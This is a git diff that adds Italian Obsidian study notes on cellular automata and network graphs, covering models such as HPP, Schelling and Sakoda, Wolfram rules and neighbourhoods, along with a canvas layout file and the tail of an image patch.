zZA4EQTrLJ8SDuJFuJx%Sv56DT*iV=)f5IbwX<_&wDqSwlOt1**58cmB6WTA_wFlkU
zJ4VJR2*XP)1~iU36iG=|@)kc9J%JqirOr?sY4ucYh95}Rr4QH|*VTKzgND}}xCv4o
z`BJ0qd{^jN$Mx+b<ox!>bV0vf>M|6kXeE!d2i-VI#FY_#>LrZKkb7C!80q_PeRaI*
zb9=s;d4OVuPb47C_Km;+Zy*xX!Sh;5@7zcpv0rk(;&E)!Cm^g~<*-r~nmj~_pw(wH
z4bvf~eKGTf-B~)WRRWxFafgtm&V(Di>x~o|P$jEqIa2|6<&Y&O#lQrj=!jDBng{K^
zJBi60tTMks+r-hGMOx?e2%-fq=gmQJt)XpMTocN*P34Jqj_2BNJ0ArFSI`R4zHgPW
z7_wKLA_5)sxT|P(GG!)0bT8$sLeL2B3gAiu(GA}70n68f=#rF7`9FZdl|v3FZ2y1z
b^3IQ`n~0~ksXZPXCkv60RCr$wH46NHwXsD0

literal 0
HcmV?d00001

diff --git a/8 - Sistemi complessi/3 - Automi cellulari/modello HPP.md b/8 - Sistemi complessi/3 - Automi cellulari/modello HPP.md
new file mode 100644
index 0000000..ef95ddb
--- /dev/null
+++ b/8 - Sistemi complessi/3 - Automi cellulari/modello HPP.md	
@@ -0,0 +1,22 @@
+[[automa cellulare]] per approssimare la [[fluidodinamica]].
+
+## Funzionamento
+
+Le [[cella di un automa cellulare|celle]] sono particelle di [[fluido]] che viene costretto a muoversi lungo il [[reticolo di un automa cellulare|reticolo]]. 
+
+La [[regola di transizione]] è impostata in modo tale da conservare sempre massa e quantità di moto.
+
+### Regola di transizione
+
+Se due particelle di fluido con stessa direzione ma verso opposto finiscono per trovarsi nella stessa cella, la loro direzione viene cambiata a quella ortogonale e il loro verso viene invertito. 
+
+![[modello HPP · regola di transizione.png]]
+## Problemi
+
+È fortemente [[anisotropia|anisotropico]].
+
+## Storia
+
+Creato da [[Hardy]], [[Pomeau]] e [[de Pazzis]].
+
+Primo modello di fluidodinamica basato sugli automi cellulari.
diff --git a/8 - Sistemi complessi/3 - Automi cellulari/modello Nowak-Lewenstein.md b/8 - Sistemi complessi/3 - Automi cellulari/modello Nowak-Lewenstein.md
new file mode 100644
index 0000000..f56b935
--- /dev/null
+++ b/8 - Sistemi complessi/3 - Automi cellulari/modello Nowak-Lewenstein.md	
@@ -0,0 +1,15 @@
+[[automa cellulare]] che modella le dinamiche dell'opinione pubblica.
+
+## Cenni del funzionamento
+
+- Ogni individuo ha:
+	- un valore di influenza costante
+	- [[stato di una cella|un'opinione]] <span style="color: royalblue;">positiva</span> o <span style="color: orangered;">negativa</span> su un certo argomento
+	- una forza di convinzione derivante dall'influenza moltiplicata per l'opinione
+- L'opinione di un individuo cambia tra un'[[iterazione]] e l'altra al segno della forza di convinzione totale del [[vicinato di un automa cellulare|vicinato]].
+	- Si può introdurre un valore di pregiudizio per rendere più facile o difficile il cambio di opinione.
+- Al termine delle iterazioni si forma una maggioranza e una minoranza.
+- La minoranza finale può assumere varie forme:
+	- un individuo e seguaci
+	- una fortezza di individui con opinioni forti
+	- un muro di individui con opinioni forti che proteggono quelli all'interno
\ No newline at end of file
diff --git a/8 - Sistemi complessi/3 - Automi cellulari/modello Sakoda.md b/8 - Sistemi complessi/3 - Automi cellulari/modello Sakoda.md
new file mode 100644
index 0000000..1a513b5
--- /dev/null
+++ b/8 - Sistemi complessi/3 - Automi cellulari/modello Sakoda.md	
@@ -0,0 +1,17 @@
+[[automa cellulare]] che modella le interazioni sociali dei prigioneri americano-giapponesi durante la seconda guerra mondiale.
+
+## Caratteristiche
+
+- tre [[stato di una cella|stati]]:
+	- <span style="color: gray;">spazio vuoto</span>
+	- <span style="color: royalblue;">individuo del primo gruppo</span>
+	- <span style="color: orangered;">individuo del secondo gruppo</span>
+- [[reticolo di un automa cellulare|reticolo]]
+	- [[reticolo 2D|2D]]
+	- [[reticolo quadrato|quadrato]]
+	- [[vicinato di Moore]]
+- [[regola di transizione]]
+	- ad ogni iterazione, ogni <span style="color: royalblue;">individuo del primo gruppo</span> e ogni <span style="color: orangered;">individuo del secondo gruppo</span> valuta quanto sono attrattive le celle vicine in base al valore che danno alle celle nei vari stati e alla distanza a cui esse si trovano dalla cella ispezionata
+		- se gli <span style="color: royalblue;">individui di un gruppo</span> valutano negativamente gli <span style="color: orangered;">individui dell'altro</span>, e positivamente gli <span style="color: royalblue;">individui del proprio</span>, si crea **segregazione**
+		- se gli <span style="color: royalblue;">individui di un gruppo</span> valutano neutralmente gli <span style="color: orangered;">individui dell'altro</span>, e positivamente gli <span style="color: royalblue;">individui del proprio</span>, si crea **sospetto**
+	- *eww, è $O(n^2)$*
diff --git a/8 - Sistemi complessi/3 - Automi cellulari/modello Schelling.md b/8 - Sistemi complessi/3 - Automi cellulari/modello Schelling.md
new file mode 100644
index 0000000..e763cbe
--- /dev/null
+++ b/8 - Sistemi complessi/3 - Automi cellulari/modello Schelling.md	
@@ -0,0 +1,14 @@
+[[automa cellulare]] che modella il comportamento di membri di due gruppi in una città.
+
+## Caratteristiche
+
+- tre [[stato di una cella|stati]]:
+	- <span style="color: gray;">spazio vuoto</span>
+	- <span style="color: royalblue;">individuo del primo gruppo</span>
+	- <span style="color: orangered;">individuo del secondo gruppo</span>
+- [[reticolo di un automa cellulare|reticolo]]
+	- [[reticolo 2D|2D]]
+	- [[reticolo quadrato|quadrato]]
+	- [[vicinato di Moore]]
+- [[regola di transizione]]
+	- un <span style="color: royalblue;">individuo</span> si muove dalla sua cella solo se il numero di <span style="color: royalblue;">individui del proprio gruppo</span> vicini scende sotto una certa soglia, e si muove nella cella più vicina che soddisfa la soglia
\ No newline at end of file
diff --git a/8 - Sistemi complessi/3 - Automi cellulari/oscillator.md b/8 - Sistemi complessi/3 - Automi cellulari/oscillator.md
new file mode 100644
index 0000000..662e4c9
--- /dev/null
+++ b/8 - Sistemi complessi/3 - Automi cellulari/oscillator.md	
@@ -0,0 +1 @@
+[[Pattern]] di [[cella di un automa cellulare|celle]] [[periodo|periodico]].
diff --git a/8 - Sistemi complessi/3 - Automi cellulari/puffer.md b/8 - Sistemi complessi/3 - Automi cellulari/puffer.md
new file mode 100644
index 0000000..6007f33
--- /dev/null
+++ b/8 - Sistemi complessi/3 - Automi cellulari/puffer.md	
@@ -0,0 +1 @@
+[[Pattern]] di [[cella di un automa cellulare|celle]] che si espande infinitamente nel vuoto.
diff --git a/8 - Sistemi complessi/3 - Automi cellulari/regola 110 di Wolfram.md b/8 - Sistemi complessi/3 - Automi cellulari/regola 110 di Wolfram.md
new file mode 100644
index 0000000..087248d
--- /dev/null
+++ b/8 - Sistemi complessi/3 - Automi cellulari/regola 110 di Wolfram.md	
@@ -0,0 +1,5 @@
+[[regola di Wolfram]] di [[classe 4 di Wolfram|classe 4]].
+
+Significativa perchè [[universalità|universale]].
+
+Vi compaiono delle [[spaceship]].
diff --git a/8 - Sistemi complessi/3 - Automi cellulari/regola di Wolfram.md b/8 - Sistemi complessi/3 - Automi cellulari/regola di Wolfram.md
new file mode 100644
index 0000000..a27b887
--- /dev/null
+++ b/8 - Sistemi complessi/3 - Automi cellulari/regola di Wolfram.md	
@@ -0,0 +1,3 @@
+[[regola di transizione]] per un [[automa cellulare booleano]] [[1D]] con [[vicinato di Moore]].
+
+Rappresentata attraverso un numero da $0$ a $255$ i cui bit [[big endian]] determinano lo stato risultante partendo da un vicinato con lo stesso valore della loro posizione.
diff --git a/8 - Sistemi complessi/3 - Automi cellulari/regola di transizione.md b/8 - Sistemi complessi/3 - Automi cellulari/regola di transizione.md
new file mode 100644
index 0000000..5186e12
--- /dev/null
+++ b/8 - Sistemi complessi/3 - Automi cellulari/regola di transizione.md	
@@ -0,0 +1,10 @@
+---
+aliases:
+  - regola di un automa cellulare
+---
+
+[[Funzione]] in un [[automa cellulare]].
+
+Descrive il comportamento delle [[cella di un automa cellulare|celle]] in relazione allo [[stato]] delle [[cella di un automa cellulare|celle]] nel [[vicinato di un automa cellulare|vicinato]].
+
+Per ottenere lo stato dell'automa all'[[iterazione]] successiva, la regola è applicata ad ogni cella con gli stati dell'iterazione corrente.
diff --git a/8 - Sistemi complessi/3 - Automi cellulari/reticolo FCHC.md b/8 - Sistemi complessi/3 - Automi cellulari/reticolo FCHC.md
new file mode 100644
index 0000000..8eecf65
--- /dev/null
+++ b/8 - Sistemi complessi/3 - Automi cellulari/reticolo FCHC.md	
@@ -0,0 +1,7 @@
+---
+aliases:
+  - face-centered hypercube lattice
+---
+
+
+[[Reticolo]] [[4D]] basato su un [[ipercubo centrato sulle facce]].
\ No newline at end of file
diff --git a/8 - Sistemi complessi/3 - Automi cellulari/reticolo di un automa cellulare.md b/8 - Sistemi complessi/3 - Automi cellulari/reticolo di un automa cellulare.md
new file mode 100644
index 0000000..b4f8df8
--- /dev/null
+++ b/8 - Sistemi complessi/3 - Automi cellulari/reticolo di un automa cellulare.md	
@@ -0,0 +1,3 @@
+[[Reticolo]] di un [[automa cellulare]].
+
+Descrive come le [[cella di un automa cellulare|celle]] sono disposte tra loro, e per ciascuna ne definisce il [[vicinato di un automa cellulare|vicinato]].
diff --git a/8 - Sistemi complessi/3 - Automi cellulari/sincronizzazione del plotone di esecuzione.md b/8 - Sistemi complessi/3 - Automi cellulari/sincronizzazione del plotone di esecuzione.md
new file mode 100644
index 0000000..c652edf
--- /dev/null
+++ b/8 - Sistemi complessi/3 - Automi cellulari/sincronizzazione del plotone di esecuzione.md	
@@ -0,0 +1,3 @@
+[[Problema]] di [[automa cellulare|automi cellulari]].
+
+Consiste nel trovare un qualsiasi [[automa cellulare]] [[1D]] in grado di avere tutte le celle nello stesso [[stato di una cella|stato]] nella stessa [[iterazione]].
\ No newline at end of file
diff --git a/8 - Sistemi complessi/3 - Automi cellulari/spaceship.md b/8 - Sistemi complessi/3 - Automi cellulari/spaceship.md
new file mode 100644
index 0000000..fd528da
--- /dev/null
+++ b/8 - Sistemi complessi/3 - Automi cellulari/spaceship.md	
@@ -0,0 +1 @@
+[[Pattern]] di [[cella di un automa cellulare|celle]] che effettua [[periodo|periodicamente]] una [[ŧraslazione]].
\ No newline at end of file
diff --git a/8 - Sistemi complessi/3 - Automi cellulari/stato di una cella.md b/8 - Sistemi complessi/3 - Automi cellulari/stato di una cella.md
new file mode 100644
index 0000000..d245068
--- /dev/null
+++ b/8 - Sistemi complessi/3 - Automi cellulari/stato di una cella.md	
@@ -0,0 +1 @@
+Valore contenuto in una [[cella di un automa cellulare]].
\ No newline at end of file
diff --git a/8 - Sistemi complessi/3 - Automi cellulari/universalità.md b/8 - Sistemi complessi/3 - Automi cellulari/universalità.md
new file mode 100644
index 0000000..c520f9a
--- /dev/null
+++ b/8 - Sistemi complessi/3 - Automi cellulari/universalità.md	
@@ -0,0 +1,5 @@
+[[Caratteristica]] di un [[modello]].
+
+Indica che il modello è equivalente a una [[macchina di Turing]], e quindi capace di computazione universale.
+
+Qualsiasi modello universale è anche [[indecidibile]] per via dell'[[halting problem]].
\ No newline at end of file
diff --git a/8 - Sistemi complessi/3 - Automi cellulari/vicinato di Moore.md b/8 - Sistemi complessi/3 - Automi cellulari/vicinato di Moore.md
new file mode 100644
index 0000000..5dd01a6
--- /dev/null
+++ b/8 - Sistemi complessi/3 - Automi cellulari/vicinato di Moore.md	
@@ -0,0 +1,3 @@
+[[vicinato di un automa cellulare]].
+
+Seleziona le [[cella di un automa cellulare|celle]] adiacenti nelle direzioni ortogonali, *a quadrato*.
diff --git a/8 - Sistemi complessi/3 - Automi cellulari/vicinato di un automa cellulare.md b/8 - Sistemi complessi/3 - Automi cellulari/vicinato di un automa cellulare.md
new file mode 100644
index 0000000..a4dbd87
--- /dev/null
+++ b/8 - Sistemi complessi/3 - Automi cellulari/vicinato di un automa cellulare.md	
@@ -0,0 +1,3 @@
+[[Insieme]] di [[coordinate relative]] in un [[reticolo di un automa cellulare]].
+
+Determinati vicinati possono portare a problemi di [[anisotropia]].
\ No newline at end of file
diff --git a/8 - Sistemi complessi/3 - Automi cellulari/vicinato di von Neumann.md b/8 - Sistemi complessi/3 - Automi cellulari/vicinato di von Neumann.md
new file mode 100644
index 0000000..34ae4db
--- /dev/null
+++ b/8 - Sistemi complessi/3 - Automi cellulari/vicinato di von Neumann.md	
@@ -0,0 +1,3 @@
+[[vicinato di un automa cellulare]].
+
+Seleziona le [[cella di un automa cellulare|celle]] adiacenti nelle direzioni cardinali, *a croce*.
diff --git a/8 - Sistemi complessi/3 - Automi cellulari/★ automi cellulari.canvas b/8 - Sistemi complessi/3 - Automi cellulari/★ automi cellulari.canvas
new file mode 100644
index 0000000..083f451
--- /dev/null
+++ b/8 - Sistemi complessi/3 - Automi cellulari/★ automi cellulari.canvas	
@@ -0,0 +1,96 @@
+{
+	"nodes":[
+		{"id":"9b4a4f5eeb063d8a","type":"file","file":"8 - Sistemi complessi/3 - Automi cellulari/automa cellulare totalistico.md","x":-720,"y":-4120,"width":400,"height":400},
+		{"id":"fd50b83df8f22ab6","type":"file","file":"8 - Sistemi complessi/3 - Automi cellulari/automa cellulare legale.md","x":-720,"y":-3560,"width":400,"height":400},
+		{"id":"03f442358f01d59c","type":"file","file":"8 - Sistemi complessi/3 - Automi cellulari/automa cellulare booleano.md","x":-720,"y":-3000,"width":400,"height":400},
+		{"id":"77e2b4e107be4ee1","type":"file","file":"8 - Sistemi complessi/3 - Automi cellulari/automa cellulare continuo.md","x":-720,"y":-2440,"width":400,"height":400},
+		{"id":"01a85e3abb0f550e","type":"file","file":"8 - Sistemi complessi/3 - Automi cellulari/automa cellulare partizionante.md","x":-720,"y":-1880,"width":400,"height":400},
+		{"id":"d6ef5823e67fe87a","type":"file","file":"8 - Sistemi complessi/3 - Automi cellulari/automa cellulare probabilistico.md","x":-720,"y":-1320,"width":400,"height":400},
+		{"id":"883a28ec50e09dff","type":"file","file":"8 - Sistemi complessi/3 - Automi cellulari/automa cellulare asincrono.md","x":-720,"y":-4680,"width":400,"height":400},
+		{"id":"f266ce3df3594a47","type":"file","file":"8 - Sistemi complessi/3 - Automi cellulari/classe 4 di Wolfram.md","x":3200,"y":920,"width":400,"height":400},
+		{"id":"b18f4356252676da","type":"file","file":"8 - Sistemi complessi/3 - Automi cellulari/automa cellulare.md","x":-160,"y":-200,"width":400,"height":400,"color":"#ffffff"},
+		{"id":"085a930bfc13b2d3","type":"file","file":"8 - Sistemi complessi/3 - Automi cellulari/reticolo di un automa cellulare.md","x":-160,"y":360,"width":400,"height":400},
+		{"id":"7a31a822075891e0","type":"file","file":"8 - Sistemi complessi/3 - Automi cellulari/vicinato di un automa cellulare.md","x":-160,"y":920,"width":400,"height":400},
+		{"id":"ff99824e28cb1779","type":"file","file":"8 - Sistemi complessi/3 - Automi cellulari/automa cellulare invertibile.md","x":-720,"y":-760,"width":400,"height":400},
+		{"id":"ec6bdd941f5f8a43","type":"file","file":"8 - Sistemi complessi/3 - Automi cellulari/cella di un automa cellulare.md","x":-720,"y":360,"width":400,"height":400},
+		{"id":"317194dfc92c9bca","type":"file","file":"8 - Sistemi complessi/3 - Automi cellulari/stato di una cella.md","x":-720,"y":920,"width":400,"height":400},
+		{"id":"2413c2b6fc752589","type":"file","file":"8 - Sistemi complessi/3 - Automi cellulari/Game of Life.md","x":400,"y":-1320,"width":400,"height":400},
+		{"id":"a23598085eafb777","type":"file","file":"8 - Sistemi complessi/3 - Automi cellulari/universalità.md","x":960,"y":-1320,"width":400,"height":400},
+		{"id":"53e98c0276fa036a","type":"file","file":"8 - Sistemi complessi/3 - Automi cellulari/Langton's Loops.md","x":400,"y":-760,"width":400,"height":400},
+		{"id":"b19915280281f753","type":"file","file":"8 - Sistemi complessi/3 - Automi cellulari/regola di transizione.md","x":400,"y":360,"width":400,"height":400},
+		{"id":"9db6b1b73bc224d9","type":"file","file":"8 - Sistemi complessi/3 - Automi cellulari/regola di Wolfram.md","x":960,"y":360,"width":400,"height":400},
+		{"id":"f63cafe048840325","type":"file","file":"8 - Sistemi complessi/3 - Automi cellulari/classe di complessità di Wolfram.md","x":1520,"y":360,"width":400,"height":400},
+		{"id":"3e8d834fd56f7d07","type":"file","file":"8 - Sistemi complessi/3 - Automi cellulari/anisotropia.md","x":400,"y":920,"width":400,"height":400},
+		{"id":"30725e3ead3466f8","type":"file","file":"8 - Sistemi complessi/3 - Automi cellulari/classe 1 di Wolfram.md","x":1520,"y":920,"width":400,"height":400},
+		{"id":"d9ceb1ffe9d60654","type":"file","file":"8 - Sistemi complessi/3 - Automi cellulari/classe 2 di Wolfram.md","x":2080,"y":920,"width":400,"height":400},
+		{"id":"3541813a2666d493","type":"file","file":"8 - Sistemi complessi/3 - Automi cellulari/classe 3 di Wolfram.md","x":2640,"y":920,"width":400,"height":400},
+		{"id":"fb3b4ab6ee80b1c7","type":"file","file":"8 - Sistemi complessi/3 - Automi cellulari/vicinato di Moore.md","x":120,"y":1520,"width":400,"height":200},
+		{"id":"5ffabe488f3c85ef","type":"file","file":"8 - Sistemi complessi/3 - Automi cellulari/vicinato di von Neumann.md","x":-440,"y":1520,"width":400,"height":200},
+		{"id":"e387f2d3a5ebf156","type":"file","file":"8 - Sistemi complessi/3 - Automi cellulari/lambda di Langton.md","x":3200,"y":360,"width":400,"height":400},
+		{"id":"a46aae3e1e364ce3","type":"file","file":"8 - Sistemi complessi/3 - Automi cellulari/giardino dell'Eden.md","x":-1280,"y":-760,"width":400,"height":400},
+		{"id":"19e2f4183654eb79","type":"file","file":"8 - Sistemi complessi/3 - Automi cellulari/Evoloop.md","x":960,"y":-840,"width":400,"height":200},
+		{"id":"95bbfeff4f4d8fba","type":"file","file":"8 - Sistemi complessi/3 - Automi cellulari/Perrier's Loops.md","x":960,"y":-480,"width":400,"height":200},
+		{"id":"8e107ee02a91aa31","type":"file","file":"8 - Sistemi complessi/3 - Automi cellulari/oscillator.md","x":400,"y":-1680,"width":400,"height":200},
+		{"id":"7e1e6bb4aff26319","type":"file","file":"8 - Sistemi complessi/3 - Automi cellulari/spaceship.md","x":960,"y":-1680,"width":400,"height":200},
+		{"id":"9c562fd8f64af708","type":"file","file":"8 - Sistemi complessi/3 - Automi cellulari/gun.md","x":1520,"y":-1680,"width":400,"height":200},
+		{"id":"2c07d1f6e8c12143","type":"file","file":"8 - Sistemi complessi/3 - Automi cellulari/puffer.md","x":2080,"y":-1680,"width":400,"height":200},
+		{"id":"a49ee78e1bb3d5ed","type":"file","file":"8 - Sistemi complessi/3 - Automi cellulari/breeder.md","x":2640,"y":-1680,"width":400,"height":200},
+		{"id":"00295d4549db624e","type":"file","file":"8 - Sistemi complessi/3 - Automi cellulari/Wireworld.md","x":400,"y":-2240,"width":400,"height":400},
+		{"id":"a91c9cdb19299d76","type":"file","file":"8 - Sistemi complessi/3 - Automi cellulari/reticolo FCHC.md","x":1520,"y":-2800,"width":400,"height":400},
+		{"id":"480f3f91b344d913","type":"file","file":"8 - Sistemi complessi/3 - Automi cellulari/modello HPP.md","x":400,"y":-2800,"width":400,"height":400},
+		{"id":"c5a59ec3263726ec","type":"file","file":"8 - Sistemi complessi/3 - Automi cellulari/modello FHP.md","x":960,"y":-2800,"width":400,"height":400},
+		{"id":"904cf2ceaf895e0c","type":"file","file":"8 - Sistemi complessi/3 - Automi cellulari/metodo reticolare di Boltzmann.md","x":1520,"y":-2240,"width":400,"height":400,"color":"3"},
+		{"id":"d0a51c57ca9ab9ff","type":"file","file":"8 - Sistemi complessi/3 - Automi cellulari/modello Axelrod.md","x":1520,"y":-3360,"width":400,"height":400},
+		{"id":"65fd96c35fdc7209","type":"file","file":"8 - Sistemi complessi/3 - Automi cellulari/modello Sakoda.md","x":400,"y":-3360,"width":400,"height":400},
+		{"id":"b4229f9682a138c3","type":"file","file":"8 - Sistemi complessi/3 - Automi cellulari/modello Schelling.md","x":960,"y":-3360,"width":400,"height":400},
+		{"id":"1591c410da71fea0","type":"file","file":"8 - Sistemi complessi/3 - Automi cellulari/modello Nowak-Lewenstein.md","x":1520,"y":-3920,"width":400,"height":400}
+	],
+	"edges":[
+		{"id":"0ad4ee64b798bc23","fromNode":"b18f4356252676da","fromSide":"bottom","toNode":"085a930bfc13b2d3","toSide":"top"},
+		{"id":"772b598be71fff9b","fromNode":"b18f4356252676da","fromSide":"bottom","toNode":"ec6bdd941f5f8a43","toSide":"top"},
+		{"id":"763b84927e79727e","fromNode":"b18f4356252676da","fromSide":"bottom","toNode":"b19915280281f753","toSide":"top"},
+		{"id":"13375a2702d5cb40","fromNode":"085a930bfc13b2d3","fromSide":"bottom","toNode":"7a31a822075891e0","toSide":"top"},
+		{"id":"f0939f2656ea86db","fromNode":"ec6bdd941f5f8a43","fromSide":"bottom","toNode":"317194dfc92c9bca","toSide":"top"},
+		{"id":"b4f5a222195e2c5f","fromNode":"7a31a822075891e0","fromSide":"bottom","toNode":"5ffabe488f3c85ef","toSide":"top"},
+		{"id":"d242941090bf0ed2","fromNode":"7a31a822075891e0","fromSide":"bottom","toNode":"fb3b4ab6ee80b1c7","toSide":"top"},
+		{"id":"c8961d0d129570e2","fromNode":"085a930bfc13b2d3","fromSide":"right","toNode":"3e8d834fd56f7d07","toSide":"left"},
+		{"id":"d2e9ddf11bbe5edb","fromNode":"b19915280281f753","fromSide":"right","toNode":"9db6b1b73bc224d9","toSide":"left"},
+		{"id":"b9b2e92bbe794749","fromNode":"9db6b1b73bc224d9","fromSide":"right","toNode":"f63cafe048840325","toSide":"left"},
+		{"id":"fa19b680152135e5","fromNode":"f63cafe048840325","fromSide":"bottom","toNode":"30725e3ead3466f8","toSide":"top"},
+		{"id":"613a54a4459b89f7","fromNode":"f63cafe048840325","fromSide":"bottom","toNode":"d9ceb1ffe9d60654","toSide":"top"},
+		{"id":"2dca54231e34d50f","fromNode":"f63cafe048840325","fromSide":"bottom","toNode":"3541813a2666d493","toSide":"top"},
+		{"id":"dbdc4abef52ff1ec","fromNode":"f63cafe048840325","fromSide":"bottom","toNode":"f266ce3df3594a47","toSide":"top"},
+		{"id":"4a8e42e7fc2014e0","fromNode":"e387f2d3a5ebf156","fromSide":"bottom","toNode":"f266ce3df3594a47","toSide":"top"},
+		{"id":"a2cf5e2422613f8e","fromNode":"e387f2d3a5ebf156","fromSide":"bottom","toNode":"3541813a2666d493","toSide":"top"},
+		{"id":"bd8e5a928364101f","fromNode":"e387f2d3a5ebf156","fromSide":"bottom","toNode":"30725e3ead3466f8","toSide":"top"},
+		{"id":"0111eed2afd76d60","fromNode":"f63cafe048840325","fromSide":"right","toNode":"e387f2d3a5ebf156","toSide":"left"},
+		{"id":"4c2cc45ff27c31a0","fromNode":"b18f4356252676da","fromSide":"top","toNode":"ff99824e28cb1779","toSide":"right"},
+		{"id":"9cdde4dd1b53de83","fromNode":"b18f4356252676da","fromSide":"top","toNode":"d6ef5823e67fe87a","toSide":"right"},
+		{"id":"bf1582ff345841c2","fromNode":"b18f4356252676da","fromSide":"top","toNode":"01a85e3abb0f550e","toSide":"right"},
+		{"id":"a57b41ec33062b00","fromNode":"ff99824e28cb1779","fromSide":"left","toNode":"a46aae3e1e364ce3","toSide":"right"},
+		{"id":"0fead71693010101","fromNode":"b18f4356252676da","fromSide":"top","toNode":"77e2b4e107be4ee1","toSide":"right"},
+		{"id":"bff54cf0e29eea5e","fromNode":"b18f4356252676da","fromSide":"top","toNode":"03f442358f01d59c","toSide":"right"},
+		{"id":"10455f6d758d0770","fromNode":"b18f4356252676da","fromSide":"top","toNode":"fd50b83df8f22ab6","toSide":"right"},
+		{"id":"0552d8e0e75e6ac3","fromNode":"b18f4356252676da","fromSide":"top","toNode":"9b4a4f5eeb063d8a","toSide":"right"},
+		{"id":"a3b30befd2601982","fromNode":"b18f4356252676da","fromSide":"top","toNode":"883a28ec50e09dff","toSide":"right"},
+		{"id":"a4074584f072d359","fromNode":"53e98c0276fa036a","fromSide":"right","toNode":"19e2f4183654eb79","toSide":"left"},
+		{"id":"d75697fd94769429","fromNode":"53e98c0276fa036a","fromSide":"right","toNode":"95bbfeff4f4d8fba","toSide":"left"},
+		{"id":"5100f45d8ff791ee","fromNode":"2413c2b6fc752589","fromSide":"right","toNode":"a23598085eafb777","toSide":"left"},
+		{"id":"fb09bec3effa0393","fromNode":"b18f4356252676da","fromSide":"top","toNode":"53e98c0276fa036a","toSide":"left"},
+		{"id":"3a447baf24f504fa","fromNode":"b18f4356252676da","fromSide":"top","toNode":"2413c2b6fc752589","toSide":"left"},
+		{"id":"b69afdc156656668","fromNode":"2413c2b6fc752589","fromSide":"top","toNode":"8e107ee02a91aa31","toSide":"bottom"},
+		{"id":"31a31afb0642881c","fromNode":"2413c2b6fc752589","fromSide":"top","toNode":"7e1e6bb4aff26319","toSide":"bottom"},
+		{"id":"fde54a8dca009385","fromNode":"2413c2b6fc752589","fromSide":"top","toNode":"9c562fd8f64af708","toSide":"bottom"},
+		{"id":"147251edad190ace","fromNode":"2413c2b6fc752589","fromSide":"top","toNode":"2c07d1f6e8c12143","toSide":"bottom"},
+		{"id":"e4ea69d233eaa7dd","fromNode":"2413c2b6fc752589","fromSide":"top","toNode":"a49ee78e1bb3d5ed","toSide":"bottom"},
+		{"id":"356684079aa70522","fromNode":"b18f4356252676da","fromSide":"top","toNode":"00295d4549db624e","toSide":"left"},
+		{"id":"3c799c8d8a1a2bb9","fromNode":"c5a59ec3263726ec","fromSide":"right","toNode":"904cf2ceaf895e0c","toSide":"left"},
+		{"id":"84aed9377f60cde8","fromNode":"c5a59ec3263726ec","fromSide":"right","toNode":"a91c9cdb19299d76","toSide":"left"},
+		{"id":"a994889907aff2f8","fromNode":"480f3f91b344d913","fromSide":"right","toNode":"c5a59ec3263726ec","toSide":"left"},
+		{"id":"e4826ee385fa77db","fromNode":"b18f4356252676da","fromSide":"top","toNode":"480f3f91b344d913","toSide":"left"},
+		{"id":"d66c8629da95e964","fromNode":"b18f4356252676da","fromSide":"top","toNode":"65fd96c35fdc7209","toSide":"left"},
+		{"id":"f1123f1e6deb71f0","fromNode":"65fd96c35fdc7209","fromSide":"right","toNode":"b4229f9682a138c3","toSide":"left"},
+		{"id":"8b50ff435845bb13","fromNode":"b4229f9682a138c3","fromSide":"right","toNode":"d0a51c57ca9ab9ff","toSide":"left"},
+		{"id":"8597e0ae2f80622d","fromNode":"b4229f9682a138c3","fromSide":"right","toNode":"1591c410da71fea0","toSide":"left"}
+	]
+}
\ No newline at end of file
diff --git a/8 - Sistemi complessi/4 - Grafi/arco di accoppiamento.md b/8 - Sistemi complessi/4 - Grafi/arco di accoppiamento.md
new file mode 100644
index 0000000..335fe7c
--- /dev/null
+++ b/8 - Sistemi complessi/4 - Grafi/arco di accoppiamento.md	
@@ -0,0 +1 @@
+[[arco di un grafo|arco]] di un [[grafo multi-livello]] che connette lo stesso [[nodo di un grafo|nodo]] su due [[grafo multi-livello|livelli]] diversi.
diff --git a/8 - Sistemi complessi/4 - Grafi/aspetto categorico di un grafo multi-livello.md b/8 - Sistemi complessi/4 - Grafi/aspetto categorico di un grafo multi-livello.md
new file mode 100644
index 0000000..9f79f81
--- /dev/null
+++ b/8 - Sistemi complessi/4 - Grafi/aspetto categorico di un grafo multi-livello.md	
@@ -0,0 +1 @@
+[[aspetto di un grafo multi-livello]] che enumera i possibili valori che può assumere.
\ No newline at end of file
diff --git a/8 - Sistemi complessi/4 - Grafi/aspetto di un grafo multi-livello.md b/8 - Sistemi complessi/4 - Grafi/aspetto di un grafo multi-livello.md
new file mode 100644
index 0000000..ab42751
--- /dev/null
+++ b/8 - Sistemi complessi/4 - Grafi/aspetto di un grafo multi-livello.md	
@@ -0,0 +1 @@
+Caratteristica che distingue un livello di un [[grafo multi-livello]] da un altro.
\ No newline at end of file
diff --git a/8 - Sistemi complessi/4 - Grafi/aspetto ordinale di un grafo multi-livello.md b/8 - Sistemi complessi/4 - Grafi/aspetto ordinale di un grafo multi-livello.md
new file mode 100644
index 0000000..50c1223
--- /dev/null
+++ b/8 - Sistemi complessi/4 - Grafi/aspetto ordinale di un grafo multi-livello.md	
@@ -0,0 +1 @@
+[[aspetto di un grafo multi-livello]] i cui valori sono ordinabili.
diff --git a/8 - Sistemi complessi/4 - Grafi/bellezza.md b/8 - Sistemi complessi/4 - Grafi/bellezza.md
new file mode 100644
index 0000000..6452b56
--- /dev/null
+++ b/8 - Sistemi complessi/4 - Grafi/bellezza.md	
@@ -0,0 +1 @@
+Ulteriore [[pregiudizio]] applicabile nella selezione di nodi di un [[grafo scale-free]].
\ No newline at end of file
diff --git a/8 - Sistemi complessi/4 - Grafi/circuito euleriano.md b/8 - Sistemi complessi/4 - Grafi/circuito euleriano.md
new file mode 100644
index 0000000..074d7cd
--- /dev/null
+++ b/8 - Sistemi complessi/4 - Grafi/circuito euleriano.md	
@@ -0,0 +1 @@
+Particolare [[percorso euleriano]] con inizio e fine sullo stesso [[nodo di un grafo|nodo]].
\ No newline at end of file
diff --git a/8 - Sistemi complessi/4 - Grafi/coefficiente di clustering in una rete multiplex.md b/8 - Sistemi complessi/4 - Grafi/coefficiente di clustering in una rete multiplex.md
new file mode 100644
index 0000000..b15b55a
--- /dev/null
+++ b/8 - Sistemi complessi/4 - Grafi/coefficiente di clustering in una rete multiplex.md	
@@ -0,0 +1,6 @@
+[[Misura]] aggregata per [[rete multiplex]].
+
+Può essere definito in vari modi, in base a come viene effettuata l'aggregazione:
+- cosa è vicinato, cosa è no?
+- contano le connessioni su un livello diverso?
+- etc
\ No newline at end of file
diff --git a/8 - Sistemi complessi/4 - Grafi/coefficiente di clustering.md b/8 - Sistemi complessi/4 - Grafi/coefficiente di clustering.md
new file mode 100644
index 0000000..e59928c
--- /dev/null
